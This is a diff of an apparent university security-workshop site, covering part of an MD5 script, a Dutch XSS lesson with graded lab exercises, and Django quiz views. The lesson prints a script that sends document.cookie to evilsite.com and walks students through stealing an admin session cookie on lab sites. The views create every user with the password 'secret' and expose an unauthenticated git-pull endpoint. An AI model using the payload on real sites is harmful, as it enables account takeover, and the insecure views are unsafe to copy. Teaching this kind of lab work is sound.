lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF); |
||||
if (lX4 & lY4) { |
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
||||
} |
||||
if (lX4 | lY4) { |
||||
if (lResult & 0x40000000) { |
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
||||
} else { |
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
||||
} |
||||
} else { |
||||
return (lResult ^ lX8 ^ lY8); |
||||
} |
||||
}; |
||||
|
||||
var _F = function (x, y, z) { |
||||
return (x & y) | ((~x) & z); |
||||
}; |
||||
var _G = function (x, y, z) { |
||||
return (x & z) | (y & (~z)); |
||||
}; |
||||
var _H = function (x, y, z) { |
||||
return (x ^ y ^ z); |
||||
}; |
||||
var _I = function (x, y, z) { |
||||
return (y ^ (x | (~z))); |
||||
}; |
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var convertToWordArray = function (str) { |
||||
var lWordCount; |
||||
var lMessageLength = str.length; |
||||
var lNumberOfWords_temp1 = lMessageLength + 8; |
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64; |
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16; |
||||
var lWordArray = new Array(lNumberOfWords - 1); |
||||
var lBytePosition = 0; |
||||
var lByteCount = 0; |
||||
while (lByteCount < lMessageLength) { |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition)); |
||||
lByteCount++; |
||||
} |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition); |
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3; |
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29; |
||||
return lWordArray; |
||||
}; |
||||
|
||||
var wordToHex = function (lValue) { |
||||
var wordToHexValue = '', |
||||
wordToHexValue_temp = '', |
||||
lByte, lCount; |
||||
for (lCount = 0; lCount <= 3; lCount++) { |
||||
lByte = (lValue >>> (lCount * 8)) & 255; |
||||
wordToHexValue_temp = '0' + lByte.toString(16); |
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2); |
||||
} |
||||
return wordToHexValue; |
||||
}; |
||||
|
||||
var x = [], |
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7, |
||||
S12 = 12, |
||||
S13 = 17, |
||||
S14 = 22, |
||||
S21 = 5, |
||||
S22 = 9, |
||||
S23 = 14, |
||||
S24 = 20, |
||||
S31 = 4, |
||||
S32 = 11, |
||||
S33 = 16, |
||||
S34 = 23, |
||||
S41 = 6, |
||||
S42 = 10, |
||||
S43 = 15, |
||||
S44 = 21; |
||||
|
||||
str = this.utf8_encode(str); |
||||
x = convertToWordArray(str); |
||||
a = 0x67452301; |
||||
b = 0xEFCDAB89; |
||||
c = 0x98BADCFE; |
||||
d = 0x10325476; |
||||
|
||||
xl = x.length; |
||||
for (k = 0; k < xl; k += 16) { |
||||
AA = a; |
||||
BB = b; |
||||
CC = c; |
||||
DD = d; |
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478); |
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756); |
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB); |
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE); |
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF); |
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A); |
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613); |
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501); |
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8); |
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF); |
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1); |
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE); |
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122); |
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193); |
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E); |
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821); |
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562); |
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340); |
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51); |
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA); |
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D); |
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453); |
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681); |
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8); |
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6); |
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6); |
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87); |
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED); |
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905); |
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8); |
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9); |
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A); |
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942); |
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681); |
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122); |
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C); |
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44); |
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9); |
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60); |
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70); |
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6); |
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA); |
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085); |
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05); |
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039); |
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5); |
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8); |
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665); |
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244); |
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97); |
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7); |
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039); |
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3); |
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92); |
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D); |
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1); |
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F); |
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0); |
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314); |
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1); |
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82); |
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235); |
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB); |
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391); |
||||
a = addUnsigned(a, AA); |
||||
b = addUnsigned(b, BB); |
||||
c = addUnsigned(c, CC); |
||||
d = addUnsigned(d, DD); |
||||
} |
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d); |
||||
|
||||
return temp.toLowerCase(); |
||||
} |
||||
</script> |
||||
{% endblock %} |
@ -1,212 +0,0 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
<style> |
||||
.screenshot { |
||||
box-shadow: 0 0 15px #888; |
||||
} |
||||
|
||||
figure { |
||||
float: right; |
||||
width: 30%; |
||||
} |
||||
figure img { |
||||
|
||||
} |
||||
figcaption { |
||||
margin-top: 10px; |
||||
font-size: smaller; |
||||
color: gray; |
||||
text-align: center; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Cross-site Scripting</h1> |
||||
|
||||
<figure> |
||||
<img src="/static/img/rabobank.png" class="screenshot"> |
||||
<figcaption>Iemand heeft <i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption> |
||||
</figure> |
||||
|
||||
<p>Deze week gaan we kijken naar cross-site scripting, op het web zie je dit vaak afgekort als <b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script> tag kan toevoegen is er sprake van een XSS aanval.</p> |
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p> |
||||
|
||||
<h3>Reflected</h3> |
||||
|
||||
<figure> |
||||
<img class="screenshot" src="/static/img/zoekterm.png"> |
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption> |
||||
</figure> |
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als op de webpagina zelf.</p> |
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. The perfect crime!</p> |
||||
|
||||
<h3>Stored</h3> |
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n 90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan die vervolgens in de browsers van andere gebruikers kan laten runnen.</p> |
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p> |
||||
|
||||
<h3>Aanvallen</h3> |
||||
|
||||
<h4>HTML toevoegen</h4> |
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p> |
||||
|
||||
<h4>Javascript toevoegen</h4> |
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p> |
||||
|
||||
<p><code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code></p> |
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p> |
||||
|
||||
<h3>Countermeasures</h3> |
||||
|
||||
<p>De belangrijkste regel bij websecurity is: <b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die je weer weergeeft op de pagina te <b>escapen</b>.</p> |
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. <code>"</code> wordt dan bijvoorbeeld <code>&quot;</code> en <code><</code> wordt <code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p> |
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p> |
||||
|
||||
<p><code><script><b>gebruikersinvoer hier</b></script></p></code> |
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een bepaalde waarde te zetten.</p> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<p>Als je geen eigen site hebt mag je voor de opdrachten waar je informatie moet doorsturen naar een eigen site aannemen dat http://evil.avans.nl/ jouw site is (met uitzondering van de Nieuws opdracht).</p> |
||||
|
||||
<p>Voor de nieuws opdracht heb je een eigen website nodig. Als je niet een eigen website hebt kan je natuurlijk ook gebruik maken van de student.aii.avans.nl webruimte. Maar wellicht heb je al XAMPP of LAMP of WAMP geïnstalleerd.</p> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze nog steeds niet veilig van hun beveiligingsproblemen.</p> |
||||
|
||||
<p>Ga naar de <span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span> |
||||
{% include "points.html" with points=answers.answer_xss_add_alert.points max="5" %} |
||||
<input class="question-input" type="url" name="answer_xss_add_alert" value="{{answers.answer_xss_add_alert.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar jouw eigen website verstuurd! Je hoeft informatie nog niet op te vangen. Dat doe je straks wel!</span> |
||||
{% include "points.html" with points=answers.answer_xss_fake_form.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_xss_fake_form" value="{{answers.answer_xss_fake_form.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span> |
||||
{% include "points.html" with points=answers.answer_xss_fix_bank.points max="10" %} |
||||
<textarea class="question-input" name="answer_xss_fix_bank">{{answers.answer_xss_fix_bank.string}}</textarea> |
||||
</div> |
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Zoek eens naar <code>window.history.pushState</code>.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina komt te staan.</span> |
||||
{% include "points.html" with points=answers.answer_xss_fake_form_fake_url.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_xss_fake_form_fake_url" value="{{answers.answer_xss_fake_form_fake_url.string}}"> |
||||
</div> |
||||
|
||||
<h2>Webshop</h2> |
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site <span class="website">"Webshop (replace)"</span>.</p> |
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p> |
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p> |
||||
|
||||
<p class="hint"><strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p> |
||||
|
||||
<p class="hint"><strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p> |
||||
|
||||
<p class="hint"><strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p> |
||||
|
||||
<p class="hint"><strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p> |
||||
|
||||
<p class="hint"><strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt gebruiken moet je de url encoded versie gebruiken: %2B</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span> |
||||
{% include "points.html" with points=answers.answer_xss_url_redirect.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_xss_url_redirect" value="{{answers.answer_xss_url_redirect.string}}"> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> Op <a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a></p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. Let goed op de quotejes.</span> |
||||
{% include "points.html" with points=answers.answer_xss_url_redirect_escape.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_xss_url_redirect_escape" value="{{answers.answer_xss_url_redirect_escape.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. PHP aanpassen (lees documentatie op <a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span> |
||||
{% include "points.html" with points=answers.answer_xss_webshop_fix.points max="10" %} |
||||
<textarea class="question-input" name="answer_xss_webshop_fix">{{answers.answer_xss_webshop_fix.string}}</textarea> |
||||
</div> |
||||
|
||||
|
||||
<h2>Nieuws</h2> |
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de <span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p> |
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.</p> |
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen server sturen om de opdracht te kunnen maken. Zet op een eigen website een scriptje die alle requests in een bestandje/database logt zodat je daar later de cookies kunt uitlezen. Voorbeeld: student.aii.avans.nl/ICT/pwagener/logcookie.php?PHPSESSID=2394fh3dk</p> |
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p> |
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p> |
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p> |
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p> |
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke reactie heb je geplaatst waardoor je achter de cookie van de administrator kwam?</span> |
||||
{% include "points.html" with points=answers.answer_xss_news_reaction.points max="10" %} |
||||
<textarea class="question-input" name="answer_xss_news_reaction">{{answers.answer_xss_news_reaction.string}}</textarea> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span> |
||||
{% include "points.html" with points=answers.answer_xss_news_secret_code.points max="5" %} |
||||
<input class="question-input" name="answer_xss_news_secret_code" value="{{answers.answer_xss_news_secret_code.string}}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak het script dat je op je eigen website hebt gebruikt waarmee je de cookie van de admin hebt vastgelegd.</span> |
||||
{% include "points.html" with points=answers.answer_xss_news_script.points max="10" %} |
||||
<textarea class="question-input" name="answer_xss_news_script">{{answers.answer_xss_news_script.string}}</textarea> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga naar de <span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p> |
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p> |
||||
|
||||
<p class="hint"><strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p> |
||||
|
||||
<p class="hint"><strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>'). Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span> |
||||
{% include "points.html" with points=answers.answer_xss_jquery.points max="10" %} |
||||
<input class="question-input" type="url" name="answer_xss_jquery" value="{{answers.answer_xss_jquery.string}}"> |
||||
</div> |
||||
|
||||
|
||||
|
||||
|
||||
{% endblock %} |
@ -1,284 +0,0 @@ |
||||
from django.shortcuts import render |
||||
from django.http import HttpResponse |
||||
from django.http import HttpResponseRedirect |
||||
from django.http import HttpResponseNotFound |
||||
from django.views.decorators.csrf import csrf_exempt |
||||
from django.contrib.auth import authenticate, login, logout |
||||
from django.contrib.auth.models import User |
||||
from django.contrib import messages |
||||
from django.db import connection |
||||
from quiz.models import Answer, LetsEncryptChallenge |
||||
import oauth2 as oauth, cgi, json, base64, urlparse, subprocess |
||||
from oauth2_provider.views.generic import ProtectedResourceView |
||||
import securityquiz.secrets as secrets |
||||
import securityquiz.settings as settings |
||||
import datetime, pytz |
||||
|
||||
AVANS_KEY = secrets.AVANS_KEY |
||||
AVANS_SECRET = secrets.AVANS_SECRET |
||||
REQUEST_TOKEN_URL = 'https://publicapi.avans.nl/oauth/request_token?oauth_callback=http://%s/callback' |
||||
ACCESS_TOKEN_URL = 'https://publicapi.avans.nl/oauth/access_token' |
||||
AUTHORIZE_URL = 'https://publicapi.avans.nl/oauth/saml.php?oauth_token=%s' |
||||
|
||||
consumer = oauth.Consumer(AVANS_KEY, AVANS_SECRET) |
||||
client = oauth.Client(consumer) |
||||
|
||||
@csrf_exempt |
||||
def git_pull(request): |
||||
output = subprocess.check_output(["git", "-C", "/var/www/sec1.aii.avans.nl", "pull"]) |
||||
return HttpResponse(output) |
||||
|
||||
def avans_login(request): |
||||
|
||||
resp, content = client.request(REQUEST_TOKEN_URL % request.get_host(), "GET") |
||||
|
||||
if resp['status'] != '200': |
||||
raise Exception("Invalid response from oauth") |
||||
|
||||
request.session['request_token'] = dict(cgi.parse_qsl(content)) |
||||
|
||||
url = AUTHORIZE_URL % (request.session['request_token']['oauth_token']) |
||||
return HttpResponseRedirect(url) |
||||
|
||||
def avans_callback(request): |
||||
token = oauth.Token(request.session['request_token']['oauth_token'], request.session['request_token']['oauth_token_secret']) |
||||
token.set_verifier(request.GET['oauth_verifier']) |
||||
|
||||
client = oauth.Client(consumer, token) |
||||
|
||||
resp, content = client.request(ACCESS_TOKEN_URL, "GET") |
||||
if resp['status'] != '200': |
||||
raise Exception("Invalid response from Avans.") |
||||
|
||||
access_token = dict(cgi.parse_qsl(content)) |
||||
token = oauth.Token(access_token['oauth_token'], access_token['oauth_token_secret']) |
||||
client = oauth.Client(consumer, token) |
||||
|
||||
resp, content = client.request('https://publicapi.avans.nl/oauth/studentnummer/', 'GET') |
||||
data = json.loads(content)[0] |
||||
studentnummer = data['studentnummer'] |
||||
inlognaam = data['inlognaam'] |
||||
|
||||
try: |
||||
user = User.objects.get(username=inlognaam) |
||||
except User.DoesNotExist: |
||||
user = User.objects.create_user(inlognaam, studentnummer, 'secret') |
||||
|
||||
user = authenticate(username=inlognaam, password='secret') |
||||
login(request, user) |
||||
|
||||
return HttpResponseRedirect('/') |
||||
|
||||
def avans_logout(request): |
||||
logout(request) |
||||
return HttpResponse('Je bent nu uitgelogd... <a href="/">Opnieuw inloggen</a>') |
||||
|
||||
@csrf_exempt |
||||
def save(request): |
||||
data = dict(urlparse.parse_qsl(base64.b64decode(request.body), True)) |
||||
print data |
||||
save_data(data, request.user) |
||||
return HttpResponse('ok') |
||||
|
||||
def save_data(data, user): |
||||
for key in data: |
||||
if key.startswith('answer'): |
||||
answer, created = Answer.objects.get_or_create(user=user, question=key) |
||||
if answer.string <> data[key]: |
||||
answer.string = data[key] |
||||
answer.submitted = pytz.utc.localize(datetime.datetime.utcnow()) |
||||
answer.points = None |
||||
answer.comment = None |
||||
answer.save() |
||||
|
||||
def home(request, url): |
||||
if not request.user.is_authenticated(): |
||||
return avans_login(request) |
||||
|
||||
if request.method == 'POST': |
||||
save_data(request.POST, request.user) |
||||
|
||||
messages.add_message(request, messages.INFO, 'Je antwoorden zijn opgeslagen') |
||||
return HttpResponseRedirect('/' + url) |
||||
|
||||
answers = Answer.objects.filter(user=request.user) |
||||
answers_dict = {} |
||||
for answer in answers: |
||||
|
||||
answers_dict[answer.question] = {'string': answer.string, 'points': answer.points} |
||||
|
||||
if url == 'sql' or url == '': |
||||
template = 'sql.html' |
||||
elif url == 'xss': |
||||
template = 'xss.html' |
||||
elif url == 'path': |
||||
template = 'path.html' |
||||
elif url == 'wachtwoorden': |
||||
template = 'wachtwoorden.html' |
||||
elif url == 'certificaten': |
||||
template = 'certificaten.html' |
||||
elif url == 'encryptie': |
||||
template = 'encryptie.html' |
||||
elif url == 'bonus': |
||||
template = 'bonus.html' |
||||
elif url == 'oauth': |
||||
template = 'oauth.html' |
||||
else: |
||||
return HttpResponseNotFound('404') |
||||
|
||||
return render(request, template, {'answers': answers_dict}) |
||||
|
||||
|
||||
class SecurityApi(ProtectedResourceView): |
||||
def get(self, request, *args, **kwargs): |
||||
return HttpResponse("Geheime code: abguvatgbfrrurerzbirnybat") |
||||
|
||||
def letsencrypt(request): |
||||
template_vars = {} |
||||
if request.method == 'POST': |
||||
try: |
||||
challengeresponse = request.POST['challenge-response'] |
||||
|
||||
if challengeresponse.strip() == '': |
||||
raise Exception('Geen data opgegeven') |
||||
|
||||
if not '.' in challengeresponse: |
||||
raise Exception('Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.') |
||||
print challengeresponse.split('.') |
||||
if len(challengeresponse.split('.')) <> 2: |
||||
raise Exception('De code moet maar 1 puntje bevatten') |
||||
|
||||
challenge, response = challengeresponse.split('.') |
||||
|
||||
if len(challenge) < 40 or len(response) < 40: |
||||
raise Exception('De code is te kort') |
||||
|
||||
